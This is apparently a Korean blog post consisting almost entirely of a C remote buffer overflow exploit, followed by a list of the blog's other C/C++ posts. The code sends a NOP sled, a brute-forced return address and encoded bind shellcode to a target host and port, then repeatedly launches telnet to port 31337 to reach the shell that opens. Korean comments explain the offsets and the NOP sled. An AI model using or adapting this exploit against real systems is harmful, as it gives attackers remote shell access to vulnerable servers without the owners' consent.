#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFSIZE 256
#define OFFSET 44
#define JUMP_OFFSET 36
char bindshellcode[] =
"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"
"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"
"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"
"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"
"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"
"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"
"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"
"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";
//31337 포트로 열리는 바인드 쉘코드 이다.
#define BINDPORT 31337 //telnet 으로 바인드된 곳으로 접속할 포트를 정한다.
//즉 쉘코드가 다른포트로 바뀌면 이부분을 수정한다.
int main (int argc, char *argv[])
{
int sockfd;
struct sockaddr_in target_addr;
unsigned char buffer[BUFSIZE]; //exploiting 할 버퍼 값
unsigned int retaddr = 0xbffffff0; //return addr 을 계속 바꿀 주소값
char cmd[100]; //telnet 명령어를 박을 부분
if (argc != 3) {
fprintf(stderr, "Usage: %s <Target Address> <Port>\n", argv[0]);
return -1;
}
sprintf(cmd, "%s %s %d", "telnet", argv[1], BINDPORT);
//telnet 명령 인자값 구성.//오버플로우 조심하쎼요~
while (1) {
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
printf ("socket error");
return -1;
}
memset(&target_addr, 0, sizeof(target_addr));
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(atoi(argv[2])); //target ip
target_addr.sin_addr.s_addr = inet_addr(argv[1]); //target port
if (connect (sockfd, (struct sockaddr*)&target_addr, sizeof(target_addr)) == -1) {
printf(“connect error”);
close(sockfd);
continue;
}
retaddr -= JUMP_OFFSET; //JUMP_OFFSET만큼 계쏙 감소. 놉코드 개수와 일치시면 좋다.
memset(buffer, '\x90', sizeof(buffer)); //놉코드로 변수를 초기화한다.
memcpy(buffer+OFFSET, &retaddr, 4); // ret주소값까지 만큼 떨어진 부분에 저장했던 주소를 넘
memcpy(buffer+100, bindshellcode, strlen(bindshellcode)); //100만큼 떨어진 곳에 바인드 쉘코드를 넣음 즉 옵코드는 대략 50개가 들어가 있음. 때문에JUMP_OFFSET을 50이라고 줌
send(sockfd, buffer, strlen(buffer), 0); //소켓을 전송함.
system(cmd); //telnet 을 시도함.
close(sockfd);
}
return 0;
}
'C,C++ ' 카테고리의 다른 글
[ C ] Mysql 접속하고 데이터 베이스 사용할 때 쓴 예제 코드 (0) | 2012.07.27 |
---|---|
[ C++ ] IOCP 서버 구현 크리티컬 섹션 동기화 (0) | 2012.07.26 |
IOCP Server & Client C 예제코드 (winsock2) [IOCP Server & Client using winsock2 via C (0) | 2012.06.06 |
C언어로 MYSQL 사용하기 [윈도우] (Access MySQL via C language) [windows] (0) | 2012.05.24 |
winsock 에서 사용하는 함수를 linux 소켓에서 사용하기 (0) | 2012.05.22 |